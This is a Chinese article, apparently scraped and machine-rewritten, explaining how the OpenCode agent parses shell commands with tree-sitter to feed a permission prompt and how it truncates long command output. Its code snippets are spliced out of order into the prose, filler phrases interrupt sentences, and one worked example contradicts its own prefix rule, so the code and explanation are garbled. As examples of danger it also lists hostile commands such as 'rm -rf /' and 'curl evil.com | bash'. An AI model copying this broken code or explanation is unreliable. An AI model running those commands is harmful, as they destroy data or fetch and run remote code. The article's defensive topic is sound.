OpenCode 源码拆解(五):AI 跑 rm怎么做-权限检查和参数设置
处理OpenCode 源码拆解(五):AI 跑 rm怎么做-权限检查和参数设置这类问题时,先确认目标场景,再按步骤核对配置或玩法细节。
AI 执行命令的两个噩梦要先看什么
- AI 可能跑危险命令 ——
rm -rf /、git push --force、curl evil.com | bash。直接执行 = 灾难。 - 命令输出太长 ——
npm test跑出 10000 行,全塞进上下文直接爆炸。
OpenCode适合从架构、配置和使用边界三处入手判断,避免把概念和实际流程混在一起。
| 噩梦 | 模式 |
|---|---|
| 危险命令怎么拦 | 模式 1:AST 命令预分析(tree-sitter 提取命令前缀 → 交给权限系统) |
| 输出爆上下文 | 模式 2:纯 tail 滑动窗口(流式保留尾部 + 超限落盘) |
模式 1:AST 命令预分析(tree-sitter 提取命令前缀)
源码位置: packages/opencode/src/tool/shell.ts
为什么需要解析命令结构的使用场景
按操作场景看,如果只做字符串匹配,AI 换个参数顺序或长格式写法就绕过了。你需要理解命令的语法结构,而不是表面文本。AI 生成的命令千奇百怪:rm -rf /tmp、rm --recursive --force ~、rm -r ~/test。
实际使用时,OpenCode 用 tree-sitter(GitHub 维护的开源增量解析器Neovim 语法高亮、GitHub 代码搜索都用它)把 bash 命令解析成 AST先要分清的是,提取出命令名、参数、管道、重定向。
加载 tree-sitter 的 wasm 解析器
按操作场景看,item || item.type === "command_argument_sep" || item.type === "redirection") continueout.push({ type: item.type, text: item.text })} continue }// 只保留命令名、参数词、字符串等节点if (child?.type !== "command_name" && child?.type !== "word" &&child?.type !== "string" && child?.type !== "raw_string") continueout.push({ type: child.type, text: child.text })} return out}解析后做什么:交给权限系统提取出命令名和参数后,OpenCode 不自己做危险判断,而是生成"命令前缀"交给第四章讲的 permission 系统询问用户:// packages/opencode/src/tool/shell.ts · 第 311-336 行const parser = lazy(async () => { const { Parser } = await import("web-tree-sitter") const { default: bashWasm } = await import("tree-sitter-bash/tree-sitter-bash.wasm" as string, { with: { type: "wasm" } }) const { default: psWasm } = await import("tree-sitter-powershell/tree-sitter-powershell.wasm" as string, { with: { type: "wasm" } }) const [bashLanguage, psLanguage] = await Promise.all([Language.load(bashWasm),Language.load(psWasm),]) const bash = new Parser() bash.setLanguage(bashLanguage) const ps = new Parser() ps.setLanguage(psLanguage) return { bash, ps }})解析入口 + 命令名提取要先看什么// packages/opencode/src/tool/shell.ts · 第 257-261 行(解析入口)const node = parser.parse(text).rootNode// 用 acquireRelease 保证 tree.delete() 被调用,避免 wasm 内存泄漏const result = yield* Effect.acquireRelease( Effect.sync(() => commands(node)),(tree) => Effect.sync(() => tree?.delete()),)// packages/opencode/src/tool/shell.ts · 第 91-125 行(提取命令名 + 参数)function commands(node: Node) { return node .descendantsOfType("command") .filter((child): child is Node => Boolean(child))}function parts(node: Node) { const out: { type: string;text: string }[] = [] for (let i = 0;i < node.childCount;i++) {const child = node.child(i)if (child?.type === "command_elements") { for (let j = 0;j < child.childCount;j++) {const item = child.child(j)// 重定向节点跳过,不计入参数if (!
按操作场景看,这意味着用户批准一次 rm 后,后续所有 rm 命令都自动通过——而不是每次都问。// packages/opencode/src/tool/shell.ts · 第 263-291 行(权限预分析)const tokens = parts(source(node)).map((p) => p.text)if (tokens.length && (!cmd || !CWD.has(cmd))) { scan.patterns.add(source(node)) // 完整命令文本 scan.always.add(BashArity.prefix(tokens).join(" ") + " *") // 命令前缀,如 "rm *"}// ... 最后交给权限系统yield* ctx.ask({ permission: ShellID.ToolID, patterns: Array.from(scan.patterns), always: Array.from(scan.always),})BashArity.prefix(packages/opencode/src/permission/arity.ts 第 1-9 行)按 ARITY 表把命令名映射成授权粒度:git 取 2 段(git commit)、npm run 取 3 段(npm run build)、rm 取 1 段(rm)。
为什么不用正则匹配实际怎么用
| 方式 | rm -rf / | rm --recursive --force ~ | rm -r ~/test |
|---|---|---|---|
正则 rm -rf | 识别 | 漏掉 | 漏掉 |
| tree-sitter AST | 识别 | 识别 | 识别 |
按操作场景看,AST 解析不受这些影响,因为它理解语法结构而不是表面文本。AI 可以轻松绕过正则——用长格式 --recursive 代替 -r、改变参数顺序、用变量替换路径。
模式 2:纯 tail 滑动窗口(流式保留 + 超限落盘)
放到具体任务里,源码位置: packages/opencode/src/tool/shell.ts · packages/opencode/src/util/truncate.ts
痛点容易忽略的点
实际使用时,全塞进上下文 → 直接爆炸。但只给最尾部也不行——开头的环境信息、测试框架初始化日志里可能有线索。AI 跑 npm test 输出 10000 行。
OpenCode 的做法:流式保留尾部窗口,超出后完整输出落盘到文件,对话里只留截断提示 + 文件路径。
模型可见输出是纯 tail 滑动窗口
先要分清的是,item) break used -= item.size cut = true// 标记"已截断"}真实的常量(packages/opencode/src/util/truncate.ts 第 15-16 行):// packages/opencode/src/tool/shell.ts · 第 491-496 行(流式滑动窗口)const keep = limits.maxBytes * 2// 保留窗口 = 最大字节数 × 2// 命令流式输出时,最旧的 chunk 不断被丢弃while (used > keep && list.length > 1) { const item = list.shift()// 移除最旧的 chunk if (!
按操作场景看,而不是丢数据的使用场景当输出超过窗口// packages/opencode/src/util/truncate.ts · 第 15-16 行const MAX_LINES = 2000// 最多保留 2000 行const MAX_BYTES = 50 * 1024 // 最多保留 50 KB超限落盘OpenCode 不丢弃中间内容而是写进一个临时文件7 天后自动清理(truncate.ts 第 13 行):
实际使用时,file && end.cut) file = yield* trunc.write(raw)// 超限 → 落盘// 对话里返回的提示if (cut && file) {output = `...output truncated...nnFull output saved to: ${file}nn` + output}tail() 函数从末行倒序累加,并做 UTF-8 续字节对齐(避免截断在多字节字符中间):// packages/opencode/src/tool/shell.ts · 第 569 行(收尾处理)const end = tail(raw, limits.maxLines, limits.maxBytes)if (!
按操作场景看,往前挪while (start < buf.length && (buf[start] & 0xc0) === 0x80) start++return { text: buf.slice(start).toString()cut: start > 0 }}UI 预览也是纯 tail注意:30000 这个数字是存在的但只用于 UI 侧边栏的 metadata 预览不是模型可见输出:// packages/opencode/src/tool/shell.ts · 第 225-255 行function tail(text: stringmaxLines: numbermaxBytes: number) {const buf = Buffer.from(text)let start = buf.lengthlet lines = 0while (start > 0 && lines < maxLines) {const nl = buf.lastIndexOf(0x0astart - 1)// 找上一个换行符if (nl === -1) breakstart = nl + 1lines++if (buf.length - start <= maxBytes) break}// UTF-8 续字节对齐:如果停在多字节字符中间
更直接地说,// packages/opencode/src/tool/shell.ts · 第 27 行const MAX_METADATA_LENGTH = 30_000// packages/opencode/src/tool/shell.ts · 第 220-223 行(UI 预览)function preview(text: string) {if (text.length <= MAX_METADATA_LENGTH) return textreturn "...nn" + text.slice(-MAX_METADATA_LENGTH)// 纯 tail}两个模式怎么组合工作容易忽略的点当 AI 调用 bash 工具执行一条命令时:
更直接地说,→ 完整输出落盘到临时文件│ └─ 对话里返回:截断提示 + 文件路径│└─ 4. 返回给 AIAI 看到尾部输出 + 文件路径 → 理解测试结果 → 决定下一步小结容易忽略的点模式解决的问题核心机制你熟悉的概念AST 命令预分析从变形命令里精准提取命令名tree-sitter 解析 bash AST + BashArity 前缀 → 权限系统SQL 参数化查询 vs 字符串拼接纯 tail 滑动窗口命令输出爆上下文流式保留尾部窗口 + 超限落盘 + UI 纯 tail 预览日志 tail -n + 临时文件这两个模式共同回答一个问题:怎么让 AI 安全地执行命令——认得出它在做什么、装得下它产出的海量输出。AI 调用 bash 工具: "npm test 2>&1"│├─ 1. AST 预分析(模式 1)│ ├─ tree-sitter 解析命令结构│ │└─ 提取命令名 "npm" + 参数 ["test"]│ ├─ BashArity.prefix → 生成授权粒度 "npm run *"│ └─ 交给 permission 系统询问用户(第四章模式 3)│├─ 已批准?→ 通过│└─ 未批准?→ 问用户,批准后可复用│├─ 2. 执行命令│ └─ 子进程运行,流式捕获 stdout + stderr│├─ 3. 纯 tail 滑动窗口(模式 2)│ ├─ 流式保留尾部窗口(maxBytes × 2)│ ├─ 超窗口?
-
09.03
制作专业PPT的关键步骤与实用实用技巧分享
-
09.03
二狗PPT怎么制作-制作步骤和内容结构
-
09.03
J-Pop Idol Classroom Dance Sequence
-
09.03
SpaceX值不值得用-能力限制
-
09.03
wondercv账号怎么注册-官网注册入口
-
09.03
Cinematic One-Shot Biography of Su Shi
-
-
下载
- |
-
-
下载
- 《行尸走肉第一章》免安装中文汉化硬盘版下载
- 单机|436 MB
- 一款以动作冒险为主题的游戏
-
-
下载
- 《街头霸王X铁拳》免安装中文汉化硬盘版下载
- 单机|111MB
- 一款非常好玩的格斗游戏
-
-
下载
- |
-
-
下载
- 《暗黑破坏神3》免安装繁体中文正式版下载
- 单机|7630 MB
- 一款以角色扮演为主题的游戏
-
-
下载
- 《马克思佩恩3》免安装硬盘版下载
- 单机|27033 MB
- 一款以第三人称射击为主题的游戏